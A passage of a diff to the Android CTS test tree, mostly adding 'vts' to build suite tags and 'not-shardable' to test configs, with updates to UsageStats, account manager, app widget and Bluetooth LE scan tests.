+                am.getAccountsAndVisibilityForPackage(PACKAGE_NAME_PRIVILEGED, ACCOUNT_TYPE);
+            assertNotNull(accountsAndVisibility);
+            assertTrue(accountsAndVisibility.size() > 0);
+
+            // getAccountsByType(...)
+            Account[] accountsByType = am.getAccountsByType(ACCOUNT_TYPE);
+            assertNotNull(accountsByType);
+            assertTrue(accountsByType.length > 0);
+
+            // getAccountsByTypeForPackage(...)
+            Account[] accountsByTypeForPackage =
+                am.getAccountsByTypeForPackage(ACCOUNT_TYPE, PACKAGE_NAME_PRIVILEGED);
+            assertNotNull(accountsByTypeForPackage);
+            assertTrue(accountsByTypeForPackage.length > 0);
+
+            // getAccountsByTypeAndFeatures(...)
+            am.getAccountsByTypeAndFeatures(ACCOUNT_TYPE, null /* features */, null, null);
+            am.getAccountsByTypeAndFeatures(ACCOUNT_TYPE, REQUIRED_FEATURES, null, null);
+
         } finally {
             StrictMode.setThreadPolicy(oldPolicy);
         }
diff --git a/tests/tests/alarmclock/Android.mk b/tests/tests/alarmclock/Android.mk
index 7810ad8..adfd51f 100644
--- a/tests/tests/alarmclock/Android.mk
+++ b/tests/tests/alarmclock/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/alarmclock/AndroidTest.xml b/tests/tests/alarmclock/AndroidTest.xml
index d6261ce..023032a 100644
--- a/tests/tests/alarmclock/AndroidTest.xml
+++ b/tests/tests/alarmclock/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Configuration for AlarmClock Tests">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAlarmClockService.apk" />
diff --git a/tests/tests/alarmclock/common/Android.mk b/tests/tests/alarmclock/common/Android.mk
index 7e95cff..039ca5c 100644
--- a/tests/tests/alarmclock/common/Android.mk
+++ b/tests/tests/alarmclock/common/Android.mk
@@ -28,6 +28,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/alarmclock/service/Android.mk b/tests/tests/alarmclock/service/Android.mk
index 645393b..3873ddb 100644
--- a/tests/tests/alarmclock/service/Android.mk
+++ b/tests/tests/alarmclock/service/Android.mk
@@ -30,6 +30,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/animation/Android.mk b/tests/tests/animation/Android.mk
index 31c1253..c625cbe6 100644
--- a/tests/tests/animation/Android.mk
+++ b/tests/tests/animation/Android.mk
@@ -38,6 +38,6 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/app.usage/Android.mk b/tests/tests/app.usage/Android.mk
index 5a97450..dbef83c 100644
--- a/tests/tests/app.usage/Android.mk
+++ b/tests/tests/app.usage/Android.mk
@@ -24,17 +24,16 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner
-
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
     android-support-test \
+    ctstestrunner \
     junit \
-    legacy-android-test
+    legacy-android-test \
+    ub-uiautomator
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
index fcb1d5a..b475cea 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
@@ -281,7 +281,8 @@
                 exerciseRemoteHost(network, mUrl);
                 mEndTime = System.currentTimeMillis() + mTolerance;
                 success = true;
-                metered = mCm.getNetworkInfo(network).isMetered();
+                metered = !mCm.getNetworkCapabilities(network)
+                        .hasCapability(NetworkCapabilities.NET_CAPABILITY_NOT_METERED);
                 synchronized(NetworkUsageStatsTest.this) {
                     NetworkUsageStatsTest.this.notify();
                 }
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index d900292..ddc59b3 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -18,27 +18,28 @@
 
 import android.app.Activity;
 import android.app.AppOpsManager;
-import android.app.Instrumentation;
 import android.app.usage.UsageEvents;
 import android.app.usage.UsageStats;
 import android.app.usage.UsageStatsManager;
 import android.content.Context;
 import android.content.Intent;
 import android.os.Parcel;
-import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
 import android.test.InstrumentationTestCase;
+import android.util.SparseLongArray;
 
-import java.io.FileInputStream;
-import java.io.IOException;
+import junit.framework.AssertionFailedError;
+
+import org.junit.Ignore;
+
 import java.text.MessageFormat;
 import java.util.ArrayList;
 import java.util.List;
 import java.util.Map;
-
-import android.util.SparseLongArray;
-import junit.framework.AssertionFailedError;
-import org.junit.Ignore;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Test the UsageStats API. It is difficult to test the entire surface area
@@ -58,19 +59,22 @@
     private static final String APPOPS_SET_SHELL_COMMAND = "appops set {0} " +
             AppOpsManager.OPSTR_GET_USAGE_STATS + " {1}";
 
-    private static final long MINUTE = 1000 * 60;
-    private static final long DAY = MINUTE * 60 * 24;
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long MINUTE = TimeUnit.MINUTES.toMillis(1);
+    private static final long DAY = TimeUnit.DAYS.toMillis(1);
     private static final long WEEK = 7 * DAY;
     private static final long MONTH = 30 * DAY;
     private static final long YEAR = 365 * DAY;
     private static final long TIME_DIFF_THRESHOLD = 200;
 
+    private UiDevice mUiDevice;
     private UsageStatsManager mUsageStatsManager;
     private String mTargetPackage;
-    private ArrayList<Activity> mStartedActivities = new ArrayList<>();
 
     @Override
     protected void setUp() throws Exception {
+        super.setUp();
+        mUiDevice = UiDevice.getInstance(getInstrumentation());
         mUsageStatsManager = (UsageStatsManager) getInstrumentation().getContext()
                 .getSystemService(Context.USAGE_STATS_SERVICE);
         mTargetPackage = getInstrumentation().getContext().getPackageName();
@@ -78,13 +82,6 @@
         setAppOpsMode("allow");
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        for (Activity activity : mStartedActivities) {
-            activity.finish();
-        }
-    }
-
     private static void assertLessThan(long left, long right) {
         if (left >= right) {
             throw new AssertionFailedError("Expected " + left + " to be less than " + right);
@@ -101,28 +98,16 @@
     private void setAppOpsMode(String mode) throws Exception {
         final String command = MessageFormat.format(APPOPS_SET_SHELL_COMMAND,
                 getInstrumentation().getContext().getPackageName(), mode);
-        ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
-                .executeShellCommand(command);
-        try (FileInputStream fis = new FileInputStream(pfd.getFileDescriptor())){
-            final byte[] buffer = new byte[4096];
-            while (fis.read(buffer) != -1) { }
-        } finally {
-            try {
-                pfd.close();
-            } catch (IOException e) {
-                // Ignore.
-            }
-        }
+        mUiDevice.executeShellCommand(command);
     }
 
     private void launchSubActivity(Class<? extends Activity> clazz) {
-        final Instrumentation.ActivityResult result =
-                new Instrumentation.ActivityResult(0, new Intent());
-        final Instrumentation.ActivityMonitor monitor =
-                new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
-        getInstrumentation().addMonitor(monitor);
-        launchActivity(mTargetPackage, clazz, null);
-        mStartedActivities.add(monitor.waitForActivity());
+        final Context context = getInstrumentation().getContext();
+        final Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClassName(mTargetPackage, clazz.getName());
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+        mUiDevice.wait(Until.hasObject(By.clazz(clazz)), TIMEOUT);
     }
 
     private void launchSubActivities(Class<? extends Activity>[] activityClasses) {
@@ -323,7 +308,9 @@
                 startTime, endTime);
         assertFalse(stats.isEmpty());
 
-        setAppOpsMode("default");
+        // We set the mode to ignore because our package has the PACKAGE_USAGE_STATS permission,
+        // and default would allow in this case.
+        setAppOpsMode("ignore");
 
         stats = mUsageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_BEST,
                 startTime, endTime);
diff --git a/tests/tests/app/Android.mk b/tests/tests/app/Android.mk
index b85609e..bd679a4 100644
--- a/tests/tests/app/Android.mk
+++ b/tests/tests/app/Android.mk
@@ -35,6 +35,6 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/app/AndroidTest.xml b/tests/tests/app/AndroidTest.xml
index 02eb825..c9ee968 100644
--- a/tests/tests/app/AndroidTest.xml
+++ b/tests/tests/app/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Configuration for app Tests">
     <option name="config-descriptor:metadata" key="component" value="misc" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAndroidAppTestCases.apk" />
diff --git a/tests/tests/appwidget/Android.mk b/tests/tests/appwidget/Android.mk
index 8094b8d..2d74ed0 100644
--- a/tests/tests/appwidget/Android.mk
+++ b/tests/tests/appwidget/Android.mk
@@ -33,7 +33,7 @@
     compatibility-device-util
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/appwidget/packages/launchermanifest/Android.mk b/tests/tests/appwidget/packages/launchermanifest/Android.mk
index 01a48d5..f949836 100644
--- a/tests/tests/appwidget/packages/launchermanifest/Android.mk
+++ b/tests/tests/appwidget/packages/launchermanifest/Android.mk
@@ -31,7 +31,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.appwidget.cts.packages.launcher1
 
@@ -54,7 +54,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.appwidget.cts.packages.launcher2
 
@@ -75,7 +75,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.appwidget.cts.packages.launcher3
 
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
index 747a8bd..894e814 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
@@ -295,12 +295,12 @@
             inOrder.verify(callbacks).onUpdate(any(Context.class),
                     any(AppWidgetManager.class), eq(new int[] {firstAppWidgetId}));
             inOrder.verify(callbacks).onAppWidgetOptionsChanged(any(Context.class),
-                    any(AppWidgetManager.class), same(firstAppWidgetId), argThat(
+                    any(AppWidgetManager.class), eq(firstAppWidgetId), argThat(
                             new OptionsMatcher(firstOptions)));
             inOrder.verify(callbacks).onUpdate(any(Context.class),
                     any(AppWidgetManager.class), eq(new int[] {secondAppWidgetId}));
             inOrder.verify(callbacks).onAppWidgetOptionsChanged(any(Context.class),
-                    any(AppWidgetManager.class), same(secondAppWidgetId), argThat(
+                    any(AppWidgetManager.class), eq(secondAppWidgetId), argThat(
                             new OptionsMatcher(secondOptions)));
             inOrder.verify(callbacks).onDeleted(any(Context.class),
                     argThat(new WidgetIdsMatcher(new int[]{firstAppWidgetId})));
diff --git a/tests/tests/assist/Android.mk b/tests/tests/assist/Android.mk
index 49ec503..6aa818e 100644
--- a/tests/tests/assist/Android.mk
+++ b/tests/tests/assist/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner compatibility-device-util
 
diff --git a/tests/tests/assist/service/Android.mk b/tests/tests/assist/service/Android.mk
index de3fdca..218ed6b 100644
--- a/tests/tests/assist/service/Android.mk
+++ b/tests/tests/assist/service/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsAssistService
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/assist/testapp/Android.mk b/tests/tests/assist/testapp/Android.mk
index 284da7b..f179ec3 100644
--- a/tests/tests/assist/testapp/Android.mk
+++ b/tests/tests/assist/testapp/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsAssistApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/background/Android.mk b/tests/tests/background/Android.mk
index 37791ce..c5a98aa 100755
--- a/tests/tests/background/Android.mk
+++ b/tests/tests/background/Android.mk
@@ -34,7 +34,7 @@
 
 LOCAL_PACKAGE_NAME := CtsBackgroundRestrictionsTestCases
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/tests/background/AndroidTest.xml b/tests/tests/background/AndroidTest.xml
index 0330032..33e20ea 100644
--- a/tests/tests/background/AndroidTest.xml
+++ b/tests/tests/background/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for background restrictions CTS test cases">
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsBackgroundRestrictionsTestCases.apk" />
diff --git a/tests/tests/bionic/Android.build.copy.libs.mk b/tests/tests/bionic/Android.build.copy.libs.mk
index 1d43a36..5016e33 100644
--- a/tests/tests/bionic/Android.build.copy.libs.mk
+++ b/tests/tests/bionic/Android.build.copy.libs.mk
@@ -112,6 +112,13 @@
   private_namespace_libs/libnstest_root.so \
   public_namespace_libs/libnstest_public.so \
   public_namespace_libs/libnstest_public_internal.so \
+  ld_preload_test_helper/ld_preload_test_helper \
+  ld_preload_test_helper_lib1.so \
+  ld_preload_test_helper_lib2.so \
+  ld_config_test_helper/ld_config_test_helper \
+  ns2/ld_config_test_helper_lib1.so \
+  ns2/ld_config_test_helper_lib2.so \
+  ld_config_test_helper_lib3.so \
 
 # These libraries are not built for mips.
 my_bionic_testlib_files_non_mips := \
diff --git a/tests/tests/bionic/Android.mk b/tests/tests/bionic/Android.mk
index b7ad767..00448f3 100644
--- a/tests/tests/bionic/Android.mk
+++ b/tests/tests/bionic/Android.mk
@@ -39,7 +39,7 @@
 LOCAL_CXX_STL := libc++_static
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CTS_TEST_PACKAGE := android.bionic
 
diff --git a/tests/tests/bluetooth/Android.mk b/tests/tests/bluetooth/Android.mk
index 0060a38..1af4a3f 100644
--- a/tests/tests/bluetooth/Android.mk
+++ b/tests/tests/bluetooth/Android.mk
@@ -32,6 +32,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/bluetooth/AndroidManifest.xml b/tests/tests/bluetooth/AndroidManifest.xml
index 45718a3..4eb9cd9 100644
--- a/tests/tests/bluetooth/AndroidManifest.xml
+++ b/tests/tests/bluetooth/AndroidManifest.xml
@@ -25,6 +25,7 @@
 
     <application>
         <uses-library android:name="android.test.runner" />
+        <receiver android:name=".BluetoothScanReceiver" />
     </application>
 
     <!-- This is a self-instrumenting test package. -->
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
index c81a4c2..7a644c1 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
@@ -16,8 +16,10 @@
 
 package android.bluetooth.cts;
 
+import android.app.PendingIntent;
 import android.bluetooth.BluetoothAdapter;
 import android.bluetooth.BluetoothManager;
+import android.bluetooth.cts.BluetoothScanReceiver;
 import android.bluetooth.le.BluetoothLeScanner;
 import android.bluetooth.le.ScanCallback;
 import android.bluetooth.le.ScanFilter;
@@ -25,6 +27,7 @@
 import android.bluetooth.le.ScanResult;
 import android.bluetooth.le.ScanSettings;
 import android.content.Context;
+import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.os.ParcelUuid;
 import android.os.SystemClock;
@@ -255,6 +258,55 @@
         verifyTimestamp(results, 0, scanEndMillis);
     }
 
+    /**
+     * Test case for starting a scan with a PendingIntent.
+     */
+    @MediumTest
+    public void testStartScanPendingIntent_nullnull() throws Exception {
+        if (!isBleSupported() || !isBleBatchScanSupported()) {
+            Log.d(TAG, "BLE or BLE batching not suppported");
+            return;
+        }
+        Intent broadcastIntent = new Intent();
+        broadcastIntent.setClass(mContext, BluetoothScanReceiver.class);
+        PendingIntent pi = PendingIntent.getBroadcast(mContext, 1, broadcastIntent, 0);
+        CountDownLatch latch = BluetoothScanReceiver.createCountDownLatch();
+        mScanner.startScan(null, null, pi);
+        boolean gotResults = latch.await(20, TimeUnit.SECONDS);
+        mScanner.stopScan(pi);
+        assertTrue("Scan results not received", gotResults);
+    }
+
+    /**
+     * Test case for starting a scan with a PendingIntent.
+     */
+    @MediumTest
+    public void testStartScanPendingIntent() throws Exception {
+        if (!isBleSupported() || !isBleBatchScanSupported()) {
+            Log.d(TAG, "BLE or BLE batching not suppported");
+            return;
+        }
+        ScanSettings batchScanSettings = new ScanSettings.Builder()
+                .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY)
+                .setReportDelay(0).build();
+        ScanFilter filter = createScanFilter();
+        ArrayList<ScanFilter> filters = null;
+        if (filter != null) {
+            filters = new ArrayList<>();
+            filters.add(filter);
+        } else {
+            Log.d(TAG, "Could not add a filter");
+        }
+        Intent broadcastIntent = new Intent();
+        broadcastIntent.setClass(mContext, BluetoothScanReceiver.class);
+        PendingIntent pi = PendingIntent.getBroadcast(mContext, 1, broadcastIntent, 0);
+        CountDownLatch latch = BluetoothScanReceiver.createCountDownLatch();
+        mScanner.startScan(filters, batchScanSettings, pi);
+        boolean gotResults = latch.await(20, TimeUnit.SECONDS);
+        mScanner.stopScan(pi);
+        assertTrue("Scan results not received", gotResults);
+    }
+
     // Verify timestamp of all scan results are within [scanStartMillis, scanEndMillis].
     private void verifyTimestamp(Collection<ScanResult> results, long scanStartMillis,
             long scanEndMillis) {
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothScanReceiver.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothScanReceiver.java
new file mode 100644
index 0000000..1e910a8
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothScanReceiver.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import android.bluetooth.le.BluetoothLeScanner;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+
+public class BluetoothScanReceiver extends BroadcastReceiver {
+
+    private static final String TAG = "BluetoothScanReceiver";
+
+    private static CountDownLatch sCountDownLatch;
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.i(TAG, "Received scan results:" + intent);
+        Log.i(TAG, "ScanResults = " + intent.getParcelableArrayListExtra(
+                BluetoothLeScanner.EXTRA_LIST_SCAN_RESULT));
+        Log.i(TAG, "Callback Type = "
+                + intent.getIntExtra(BluetoothLeScanner.EXTRA_CALLBACK_TYPE, -1));
+        Log.i(TAG, "Error Code = "
+                + intent.getIntExtra(BluetoothLeScanner.EXTRA_ERROR_CODE, -1));
+        if (sCountDownLatch != null) {
+            sCountDownLatch.countDown();
+            sCountDownLatch = null;
+        }
+    }
+
+    public static CountDownLatch createCountDownLatch() {
+        sCountDownLatch = new CountDownLatch(1);
+        return sCountDownLatch;
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/calendarcommon/Android.mk b/tests/tests/calendarcommon/Android.mk
index 042e260..18ae49e 100644
--- a/tests/tests/calendarcommon/Android.mk
+++ b/tests/tests/calendarcommon/Android.mk
@@ -27,11 +27,13 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/calendarcommon/AndroidTest.xml b/tests/tests/calendarcommon/AndroidTest.xml
index 384d1b8..9169b79 100644
--- a/tests/tests/calendarcommon/AndroidTest.xml
+++ b/tests/tests/calendarcommon/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS Calendar test cases">
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsCalendarcommon2TestCases.apk" />
diff --git a/tests/tests/car/Android.mk b/tests/tests/car/Android.mk
index 246409b..db12143 100644
--- a/tests/tests/car/Android.mk
+++ b/tests/tests/car/Android.mk
@@ -31,7 +31,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/carrierapi/Android.mk b/tests/tests/carrierapi/Android.mk
index f66bfca..954ae14 100644
--- a/tests/tests/carrierapi/Android.mk
+++ b/tests/tests/carrierapi/Android.mk
@@ -33,7 +33,7 @@
 LOCAL_PACKAGE_NAME := CtsCarrierApiTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_JAVA_LIBRARIES += android.test.runner telephony-common
 
diff --git a/tests/tests/carrierapi/AndroidTest.xml b/tests/tests/carrierapi/AndroidTest.xml
index f966096..e46d53a 100644
--- a/tests/tests/carrierapi/AndroidTest.xml
+++ b/tests/tests/carrierapi/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS Carrier APIs test cases">
     <option name="config-descriptor:metadata" key="component" value="telecom" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.TokenRequirement">
         <option name="token" value="sim-card-with-certs" />
     </target_preparer>
diff --git a/tests/tests/colormode/Android.mk b/tests/tests/colormode/Android.mk
index f0741aa..a506fa5 100644
--- a/tests/tests/colormode/Android.mk
+++ b/tests/tests/colormode/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsColorModeTestCases
 
diff --git a/tests/tests/colormode/AndroidTest.xml b/tests/tests/colormode/AndroidTest.xml
index c43a5d2..9c09038 100644
--- a/tests/tests/colormode/AndroidTest.xml
+++ b/tests/tests/colormode/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS Color Mode test cases">
     <option name="config-descriptor:metadata" key="component" value="graphics" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsColorModeTestCases.apk" />
diff --git a/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java b/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java
index 06273eb..4d076f8 100644
--- a/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java
+++ b/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java
@@ -30,6 +30,7 @@
 import org.junit.runner.RunWith;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 
 @MediumTest
 @RunWith(AndroidJUnit4.class)
@@ -53,5 +54,7 @@
 
         Window window = mActivity.getWindow();
         assertEquals(ActivityInfo.COLOR_MODE_DEFAULT, window.getAttributes().getColorMode());
+
+        assertFalse(window.isWideColorGamut());
     }
 }
diff --git a/tests/tests/contactsproviderwipe/Android.mk b/tests/tests/contactsproviderwipe/Android.mk
index a4a01b8..d843256 100644
--- a/tests/tests/contactsproviderwipe/Android.mk
+++ b/tests/tests/contactsproviderwipe/Android.mk
@@ -34,7 +34,7 @@
 
 LOCAL_PACKAGE_NAME := CtsContactsProviderWipe
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/tests/contactsproviderwipe/AndroidTest.xml b/tests/tests/contactsproviderwipe/AndroidTest.xml
index a7a3716..b12398b 100644
--- a/tests/tests/contactsproviderwipe/AndroidTest.xml
+++ b/tests/tests/contactsproviderwipe/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS Provider test cases">
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsContactsProviderWipe.apk" />
diff --git a/tests/tests/content/Android.mk b/tests/tests/content/Android.mk
index 4c50dd5..df811f9 100644
--- a/tests/tests/content/Android.mk
+++ b/tests/tests/content/Android.mk
@@ -52,7 +52,7 @@
 LOCAL_PACKAGE_NAME := CtsContentTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/content/AndroidManifest.xml b/tests/tests/content/AndroidManifest.xml
index f9a5915..b191a11 100644
--- a/tests/tests/content/AndroidManifest.xml
+++ b/tests/tests/content/AndroidManifest.xml
@@ -28,6 +28,7 @@
     <uses-permission android:name="android.permission.WRITE_SETTINGS" />
